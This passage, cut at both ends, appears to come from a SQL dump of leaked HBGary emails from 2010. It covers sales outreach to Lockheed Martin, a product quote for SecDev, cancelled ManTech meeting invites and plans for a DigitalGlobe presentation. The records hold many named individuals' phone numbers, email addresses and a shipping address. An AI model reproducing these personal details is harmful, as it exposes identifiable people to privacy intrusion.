Services-Security\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness\r\nDevelopment, Advanced Programs\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice\r\n703.466.2788\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCell\r\n703-999-9162\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPager\r\n800-200-5295\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nbrandon.pugsley@lmco.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, July 23,\r\n2010 11:18 AM\r\nTo:&nbsp;Pugsley, Brandon\r\nCc:&nbsp;Mcculloch, Scott D\r\nSubject:&nbsp;Re: EXTERNAL:\r\nUpdate from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Brandon,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNice to virtually meet you. &nbsp;Did Scott attach the\r\nwhitepapers? &nbsp;If not, I can resend. &nbsp;What areas of Cyber are you\r\nfocused on.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Jul 23, 2010 at 6:45 AM, Mcculloch, Scott D &lt;scott.d.mcculloch@lmco.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nGoo dto hear from you. And no I have not got on facebook yet.\r\n\r\nOn the CC line is Brandon, he is working some LM initiatives that could have\r\nsome relevance to your companies capabilities.\r\n\r\nScott D. McCulloch\r\nBusiness Development - Capture Excellence Lockheed Martin IS&amp;GS - Security\r\n571-246-3148 (Cell)\r\n703-466-2315 (Office)\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, July 14, 2010 5:12 PM\r\nTo: Mcculloch, Scott D\r\nSubject: EXTERNAL: Update from Ted\r\n\r\nHi Scott,\r\n\r\nHow\'s it going? &nbsp;Did you ever get up on Facebook?\r\n\r\nI\'m trying to drum up some business, and I thought you might be interested in\r\nwhat I\'ve been up to for the last six months or so. &nbsp;I run a small\r\nsoftware development and services company, HBGary. &nbsp;We specialize in all\r\nthings related to malware. &nbsp;Greg Hoglund is our CEO and founded the\r\ncompany in 2003. &nbsp;Greg is an accomplished author, world recognized leader\r\nin rootkit technology and was recently named one of &quot;10 hackers to\r\nknow&quot; in Network Security magazine. &nbsp;We offer a number of Cyber\r\nservices including malware reverse engineering, vulnerability research, exploit\r\ndevelopment, incident response, penetration testing, and digital forensics. &nbsp;We\r\nalso have a mature product-line of COTS which assist in accomplishing those\r\ntasks.\r\n\r\n\r\n\r\nI\'ve attached three whitepapers that I think you may find interesting.\r\n&nbsp;The first is our analysis of the Aurora attack, the second is a how-to\r\nguide for using our REcon product to develop software exploits, and the third\r\ndescribes our latest Enterprise product, Active Defense.\r\n\r\n\r\n\r\nI\'d appreciate any introductions you can provide, if you know anyone that you\r\nthink may be interested in our offerings, or advice you may have.\r\n\r\nWarm Regards,\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\nhttp://www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--&nbsp;\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--&nbsp;\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--&nbsp;\r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com&nbsp;&nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--&nbsp;\r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com&nbsp;&nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12629,'aaron_hbgary_com/12629.html'),(11588,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008731.M53185P14101Q6442.eml','carma@hbgary.com','Fwd: SecDev needs a quote','Sent from my iPhoneBegin forwarded message:From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;\r\nDate: September 10, 2010 8:58:38 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\nSubject: Re: SecDev needs a quoteHi Aaron,The address to ship to would be:Nart Villeneuve\r\nThe SecDev Group172 Davenport RoadToronto, Ontario M5R 1J2CanadaPhone:  (416) 926-3983Thanks,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-09, at 9:29 PM, Arnav Manchanda wrote:\r\nHi Aaron,This is great, we&#39;ll take it! :)Re: our use for it for the large telco, we need it quite urgent for Monday morning - is there a way this can be facilitated (e.g. a temporary license) until he gets the hard product?\r\nHow can we do the payment? Can you guys ship to Canada for delivery Monday AM?Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (438) 885-3328E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\nOn 2010-09-09, at 8:20 PM, Aaron Barr wrote:Sorry for delay.\r\nAaronSent from my iPhoneBegin forwarded message:From: &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;\r\n\r\nDate: September 9, 2010 8:18:08 PM EDTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Cc: &lt;carma@hbgary.com&gt;, &quot;&#39;Penny Leavy-Hoglund&#39;&quot; &lt;penny@hbgary.com&gt;\r\n\r\nSubject: RE: SecDev needs a quote\r\n\r\nAaron, Quote is attached. \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 7:58 PM\r\nTo: Bob Slapnik\r\nCc: &lt;carma@hbgary.com&gt;; Penny Leavy-Hoglund\r\nSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n \r\n\r\nCan we get them a quote today?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 5:10 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCarma, \r\nAaron\r\nat HBGary Federal wants to sell 1 Responder Pro, DDNA and maintenance to SecDev\r\nin Canada.  They don’t have much money and they said they would buy before\r\nSept 30, so Aaron offered them a 30% discount with approval from Penny. \r\nPlease send a quote for SecDev which Aaron will forward to them. I\r\nasked Aaron if HBG Fed would be the reseller.  He said he would prefer the\r\ntransaction to go through HBGary.  Ask Penny about a finder’s fee for HBG\r\nFed. Bob\r\n \r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary Responder Quote RAS-20100909-3 for SecDev.pdf&gt;\r\n',7072,'aaron_hbgary_com/7072.html'),(11589,'2010-09-10','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008731.M539947P14101Q6444.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,shleep@thebuffalogroup.com,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com,\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>,\"Garvie, David Ian\" <David.Garvie@ManTech.com>','Canceled: Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nCanceled: Gatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Saturday, September 11, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nYou are invited to attend a ManTech International Corporation iMeeting (Event ID: 8211036). \r\n\r\nTo connect to the Web Conference: \r\n\r\n============================= \r\n\r\nClick here: https://conference.mantech.com/mic/meet/?ExEventID=8211036 Use the above link also with your iPhone or BlackBerry 9000. \r\n\r\nTo install AT&amp;T Connect on your BlackBerry 9000: http://downloads.uc.att.com/BB/Public/Latest/En/KB/att_connect.jad To install AT&amp;T Connect on your iPhone: http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=318798264&amp;mt=8 *Blackberry : 888-621-9644x8211036 To connect with your *TELEPHONE ONLY* (no computer): \r\n\r\n============================================== \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dial the number of the location closest to you: \r\n\r\n\r\nManTech Conference Number:&nbsp; 1-888-621-9644 (Toll Free:&nbsp; yes) \r\n\r\nTo see the complete list of dial-in access numbers https://conference.mantech.com/mic/default.asp?Target=DialInInformation&amp;ExternalEventID=8211036&amp;eventServiceClass=0\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When prompted, enter the Event Number:&nbsp; 8211036 \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; While connected: \r\n\r\n\r\nTo mute/un-mute your phone, dial *6 \r\n\r\nTo learn other telephone commands, dial *9 \r\n\r\n\r\n\r\nPowered by AT&amp;T Connect. \r\n\r\n\r\n\r\n\r\n',7438,'aaron_hbgary_com/7438.html'),(11590,'2010-09-10','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008731.M757092P14101Q6445.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,shleep@thebuffalogroup.com,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com,\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>,\"Garvie, David Ian\" <David.Garvie@ManTech.com>','Canceled: Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nCanceled: Gatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, September 15, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nRed Team Review will take the place of the daily status update on WEDNESDAY 15 SEP ONLY.&nbsp; Daily status updates will resume Thursday 16 Sep @9:00am.&nbsp; \r\n\r\n\r\n\r\nYou are invited to attend a ManTech International Corporation iMeeting (Event ID: 8211036). \r\n\r\nTo connect to the Web Conference: \r\n\r\n============================= \r\n\r\nClick here: https://conference.mantech.com/mic/meet/?ExEventID=8211036 Use the above link also with your iPhone or BlackBerry 9000. \r\n\r\nTo install AT&amp;T Connect on your BlackBerry 9000: http://downloads.uc.att.com/BB/Public/Latest/En/KB/att_connect.jad To install AT&amp;T Connect on your iPhone: http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=318798264&amp;mt=8 *Blackberry : 888-621-9644x8211036 To connect with your *TELEPHONE ONLY* (no computer): \r\n\r\n============================================== \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dial the number of the location closest to you: \r\n\r\n\r\nManTech Conference Number:&nbsp; 1-888-621-9644 (Toll Free:&nbsp; yes) \r\n\r\nTo see the complete list of dial-in access numbers https://conference.mantech.com/mic/default.asp?Target=DialInInformation&amp;ExternalEventID=8211036&amp;eventServiceClass=0\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When prompted, enter the Event Number:&nbsp; 8211036 \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; While connected: \r\n\r\n\r\nTo mute/un-mute your phone, dial *6 \r\n\r\nTo learn other telephone commands, dial *9 \r\n\r\n\r\n\r\nPowered by AT&amp;T Connect. \r\n\r\n\r\n\r\n\r\n',13245,'aaron_hbgary_com/13245.html'),(11591,'2010-09-10','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008732.M11730P14101Q6446.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,shleep@thebuffalogroup.com,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com,\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>,\"Garvie, David Ian\" <David.Garvie@ManTech.com>','Canceled: Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nCanceled: Gatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Sunday, September 12, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nYou are invited to attend a ManTech International Corporation iMeeting (Event ID: 8211036). \r\n\r\nTo connect to the Web Conference: \r\n\r\n============================= \r\n\r\nClick here: https://conference.mantech.com/mic/meet/?ExEventID=8211036 Use the above link also with your iPhone or BlackBerry 9000. \r\n\r\nTo install AT&amp;T Connect on your BlackBerry 9000: http://downloads.uc.att.com/BB/Public/Latest/En/KB/att_connect.jad To install AT&amp;T Connect on your iPhone: http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=318798264&amp;mt=8 *Blackberry : 888-621-9644x8211036 To connect with your *TELEPHONE ONLY* (no computer): \r\n\r\n============================================== \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dial the number of the location closest to you: \r\n\r\n\r\nManTech Conference Number:&nbsp; 1-888-621-9644 (Toll Free:&nbsp; yes) \r\n\r\nTo see the complete list of dial-in access numbers https://conference.mantech.com/mic/default.asp?Target=DialInInformation&amp;ExternalEventID=8211036&amp;eventServiceClass=0\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When prompted, enter the Event Number:&nbsp; 8211036 \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; While connected: \r\n\r\n\r\nTo mute/un-mute your phone, dial *6 \r\n\r\nTo learn other telephone commands, dial *9 \r\n\r\n\r\n\r\nPowered by AT&amp;T Connect. \r\n\r\n\r\n\r\n\r\n',1378,'aaron_hbgary_com/1378.html'),(11592,'2010-09-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008732.M233061P14101Q6447.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Jack Meeting','Rich might be able to\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 6:35 PM\r\nTo: Penny Leavy\r\nSubject: Jack Meeting\r\n\r\nWe had a great discussion.  All is good.  So I guess next step is the Term\r\nsheet Jack will send out?\r\n\r\nGive me a call when you get a chance.\r\n\r\nAny chance you can make a deposit tomorrow? :)\r\n\r\nTalk to you later.\r\n\r\nLooking forward to meeting with Director of IARPA tomorrow, let you know how\r\nthat goes.\r\n\r\nAlso I am meeting with a bunch of folks next Wednesday from the Cyber\r\nDivision of FBI.  Not sure if Phil can support, if not I am sure I will do\r\nok. They want to talk about attribution.\r\n\r\nAaron\r\n\r\n',2988,'aaron_hbgary_com/2988.html'),(11593,'2010-09-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008732.M436415P14101Q6448.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: DigitalGlobe Outline for Presentation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m sure Greg can handle a lot of how they are implementing the\r\nhost based stuff, with regards to social media aaron will be taking that ball.&nbsp;\r\nMaria did they want any part of the bh talk done?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, September 09, 2010 6:59 PM\r\nTo: Aaron Barr\r\nCc: Greg Hoglund; Ted Vera; Penny C. Hoglund\r\nSubject: Re: DigitalGlobe Outline for Presentation\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n-Yes he wants the social media training included.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy interpretation is they want to know how other\r\norganizations are approaching the malware problem insofar as these strategies\r\ncould be adopted at DigitalGlobe.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nfor example:\r\n\r\n\r\n\r\n\r\n\r\n-Policies on social media etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Adoption of behavior based technologies for detection\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Analyzing malware and utilizing threat intelligence\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Segmenting networks and internet access\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Integrated approach: perimeter protection, web protection,\r\nendpoint protection -- what technologies are being adopted\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Organizational impact: having a SOC versus managed\r\nservices, having an IR documented plan, workflow etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe want to focus on their problem and what they can do based\r\non what others are doing today...\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Thu, Sep 9, 2010 at 6:10 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nOne missing piece is Daniel is expecting to hear a bit about\r\nsocial media during the CIO/CTO presentation. &nbsp;He specifically told me he\r\nwanted to present some of that information in that forum. &nbsp;I don\'t have to\r\ntake a lot of time, 10-15min. I can convey enough information.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria, to what level do they want information on DoD, NSA,\r\nCyberCOM information? &nbsp;Is this a how does NSA detect APT (Tutiledge), DHS\r\n(Einstein), how does malware analysis fit into the Incident handling process,\r\netc? &nbsp;Do they want information on the DIB (Defense Industrial Base)\r\ninitiative and how the CNCI is being implemented? &nbsp;Legislation?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 8:55 PM, Maria Lucas wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Monday you will be presenting at Digital Globe -- the\r\nagenda is attached and approved by DigitalGlobe.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted will both be attending.&nbsp; Aaron is there\r\nto present Social Engineering Training and Ted is there to assist with the\r\nActive Defense software sale and will help to provide installation, deployment\r\nand training post-sale.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am available to review the agenda anytime.&nbsp; I will be\r\nreviewing the agenda with Ted and he said that he will be there to keep you on\r\ntrack and be responsible to make sure that we cover all the topics important to\r\nclosing the deal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI would attend the meeting&nbsp;normally but I believe you\r\nare in excellent company already.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know when you would like to do this?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGARY PRESENTATION OUTLINE FOR DIGITALGLOBE.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2236,'aaron_hbgary_com/2236.html'),(11594,'2010-09-10','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008732.M685111P14101Q6449.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: DigitalGlobe Outline for Presentation','what is bh?DigitalGlobe wants a perfect match of the following names to the ID:Greg HoglundAaron BarrTed VeraDo these match each driver license?\r\nOn Fri, Sep 10, 2010 at 7:28 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI’m sure Greg can handle a lot of how they are implementing the\r\nhost based stuff, with regards to social media aaron will be taking that ball. \r\nMaria did they want any part of the bh talk done?\r\n\r\n \r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, September 09, 2010 6:59 PM\r\nTo: Aaron Barr\r\nCc: Greg Hoglund; Ted Vera; Penny C. Hoglund\r\nSubject: Re: DigitalGlobe Outline for Presentation\r\n\r\n\r\n\r\n \r\n\r\n-Yes he wants the social media training included.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMy interpretation is they want to know how other\r\norganizations are approaching the malware problem insofar as these strategies\r\ncould be adopted at DigitalGlobe.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nfor example:\r\n\r\n\r\n\r\n\r\n\r\n-Policies on social media etc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Adoption of behavior based technologies for detection\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Analyzing malware and utilizing threat intelligence\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Segmenting networks and internet access\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Integrated approach: perimeter protection, web protection,\r\nendpoint protection -- what technologies are being adopted\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Organizational impact: having a SOC versus managed\r\nservices, having an IR documented plan, workflow 